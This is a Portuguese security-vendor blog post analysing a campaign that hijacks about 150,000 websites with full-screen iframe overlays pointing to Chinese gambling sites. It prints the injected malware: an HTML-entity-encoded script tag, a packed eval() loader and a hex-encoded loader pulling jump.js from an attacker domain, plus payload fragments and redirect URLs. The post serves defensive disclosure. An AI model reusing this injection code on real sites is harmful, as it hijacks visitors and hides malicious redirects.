Skip to main content
Blog
Blog Attacks

Mais de 150 mil sites afetados por sequestro de página inteira com links para sites de apostas chineses

Estimamos que aproximadamente 150.000 sites foram afetados por esta campanha. O script define um array de palavras-chave relacionadas a apostas, jogos de azar e marcas de cassino em inglês e em chinês.

Mar 26, 2025 4 min read
150k-websites-article-image-cover

Em fevereiro, descobrimos um agente de ameaça visando mais de 35.000 sites com uma injeção maliciosa de sequestro de página inteira. Continuamos monitorando as atividades desse agente e identificamos novas táticas e técnicas. Eles ampliaram significativamente suas operações, e agora estimamos que aproximadamente 150.000 sites foram afetados por esta campanha.

O que há de novo neste ataque?

Mudanças na UI/UX

O agente de ameaça reformulou levemente sua interface, mas ainda utiliza uma injeção de iframe para exibir uma sobreposição em tela cheia no navegador do visitante. Veja um exemplo de uma das páginas injetadas mais recentes:

Mesmo que os visuais e o layout possam ser diferentes, o método de injeção subjacente permanece o mesmo em sua essência.

Variações sobre o mesmo tema

Outra variação deste ataque apresenta comportamento semelhante, injetando scripts e iframes que se passam por sites legítimos de apostas, como o Bet365. Em muitos casos, logotipos e identidade visual oficiais são reutilizados para tornar o ataque mais convincente.

Codificação de entidades HTML no código injetado

No código estático, o JavaScript malicioso é injetado da seguinte forma:

<script type="text/javascript" charset="utf-8" rel="nofollow" src="&#47;&#64;&#112;&#117;&#98;&#108;&#105;&#99;&#47;&#98;&#97;&#115;&#101;&#46;&#106;&#115;"></script>

Isso é um exemplo de codificação de entidades HTML, uma forma diferente de ofuscar código. Ela torna o script injetado menos óbvio à primeira vista. Decodificar esse trecho de volta para texto simples revela:

<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o["\\q\\a\\2\\e\\f\\9\\n\\0"]["\\p\\5\\6\\0\\9"](\'\\k\\1\\2\\5\\6\\3\\0 \\0\\j\\3\\9\\i\\7\\0\\9\\t\\0\\4\\8\\h\\u\\h\\1\\2\\5\\6\\3\\0\\7  \\1\\5\\2\\i\\7\\m\\0\\0\\3\\1\\s\\4\\4\\c\\c\\c\\b\\b\\b\\d\\g\\e\\6\\g\\m\\a\\n\\r\\j\\8\\d\\2\\a\\f\\4\\8\\e\\f\\3\\d\\8\\1\\7\\l\\k\\4\\1\\2\\5\\6\\3\\0\\l\');',31,31,'x74|x73|x63|x70|x2f|x72|x69|x22|x6a|x65|x6f|x66|x38|x2e|x75|x6d|x7a|x61|x3d|x79|x3c|x3e|x68|x6e|window|x77|x64|x67|x3a|x78|x76'.split('|'),0,{}))

Você pode decodificar texto com codificação de entidades HTML usando ferramentas gratuitas como o CyberChef.

Dentro deste ataque, há também um JavaScript que se decodifica para:

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](
  '\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22  \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x38\x38\x38\x66\x66\x66\x2e\x7a\x75\x69\x7a\x68\x6f\x6e\x67\x79\x6a\x2e\x63\x6f\x6d\x2f\x6a\x75\x6d\x70\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'
);

Que eventualmente escreve:

<script type="text/javascript" src="hxxps://888fff.zuizhongyj[.]com/jump.js"></script>

Os atacantes utilizam ofuscação para ocultar a verdadeira natureza do script de varreduras rápidas ou detecções menos sofisticadas.

Analisando o payload JavaScript final

A seguir, alguns destaques críticos do script final:

Lógica de detecção baseada em palavras-chave O script define um array de palavras-chave relacionadas a apostas, jogos de azar e marcas de cassino em inglês e em chinês (por exemplo, bet365, WilliamHill, tyc, bwin, 12bet, w88, 宝威, 太阳城).

Em seguida, ele verifica a tag <title> da página atual em relação a essa lista:

var keyWord = [
  { key: [...], id: 1 },
  ...
];
b = document.getElementsByTagName("title")[0].innerText;
if (b.match(new RegExp(keyWord[i].key[j], 'ig')) != null) {
  a = keyWord[i].id;
  c = '?id=';
  ...
}

Ao encontrar uma correspondência, o script configura um parâmetro de ID (?id=) para uso na próxima etapa do redirecionamento.

Aplicação da tag Viewport O código inclui handleViewportTag(); além de um mutation observer e uma chamada setInterval para inserir repetidamente uma viewport compatível com dispositivos móveis:

<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">

Isso garante que a sobreposição em tela cheia seja exibida corretamente em dispositivos móveis.

Sobreposição em tela cheia + injeção de iframe O script do atacante cria um <div class="lbb"> que cobre toda a tela (via CSS position: fixed; z-index: 9999; ...) e injeta um <iframe> em tela cheia:

var web = 'https://888fff.zuizhongyj.com/' + c + a;
document.write('<iframe src="'+web+'" ... ></iframe>');

Qualquer pessoa que visite o site comprometido vê a página de destino maliciosa de apostas em vez do conteúdo legítimo da página.

Destinos de redirecionamento

Observamos múltiplas URLs de redirecionamento durante a análise, incluindo:

hxxps://551007t[.]cc/

hxxps://t399229[.]com/

hxxps://www.wa38di[.]com:7443/other/restrictionIp?name=access-caveat

(Observado anteriormente em outras campanhas)

hxxps://W88in[.]com

hxxps://b217102[.]cc/

hxxps://g977115[.]com/

hxxps://lucky298[.]com/

Vários desses sites bloqueiam seletivamente o tráfego de regiões específicas, o que nos leva a suspeitar que os principais alvos são usuários de língua chinesa na China, em Hong Kong e nos Estados Unidos.

Escala do ataque: 150 mil sites (e contando)

Utilizando ferramentas de busca públicas (por exemplo, PublicWWW), agrupamos todos os sites que incluem o trecho de script ofuscado. No momento da nossa análise, identificamos mais de 150.000 sites únicos. Você pode ver uma consulta ao vivo dessas infecções aqui.

Este ataque demonstra como os agentes de ameaça se adaptam constantemente, ampliando seu alcance e utilizando novas camadas de ofuscação. Ataques do lado do cliente como esses estão em ascensão, com novas descobertas surgindo a cada dia.

Se você suspeita que seu site pode estar comprometido, revise todos os scripts em busca de codificação oculta de entidades HTML ou injeções suspeitas de <iframe>. Como sempre, vigilância contínua e auditorias regulares do site continuam sendo suas melhores defesas contra ataques como esses.

Himanshu Anand
Software Engineer Himanshu Anand

I'm a software engineer and security analyst.

Monitore e Proteja Seus Scripts de Terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis, ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração